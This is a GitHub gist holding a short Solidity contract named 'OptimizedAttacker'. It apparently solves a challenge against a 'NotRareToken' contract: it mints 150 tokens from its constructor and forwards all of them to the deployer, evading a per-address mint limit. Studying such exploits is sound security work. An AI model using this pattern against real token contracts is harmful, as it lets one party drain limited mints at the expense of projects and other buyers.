Skip to content

Instantly share code, notes, and snippets.

@cygaar
Created October 29, 2022 01:20
Show Gist options
  • Save cygaar/fd5e0f916285ae3eebe181f7a3e08eaf to your computer and use it in GitHub Desktop.
Save cygaar/fd5e0f916285ae3eebe181f7a3e08eaf to your computer and use it in GitHub Desktop.
contract OptimizedAttacker {
constructor(address victim) payable {
NotRareToken nrt = NotRareToken(victim);
unchecked {
uint256 startingId = nrt.balanceOf(nrt.ownerOf(1));
for (uint i = 1; i <= 150; ++i) {
nrt.mint();
}
for (uint i = 1; i <= 150; ++i) {
nrt.transferFrom(address(this), msg.sender, startingId + i);
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment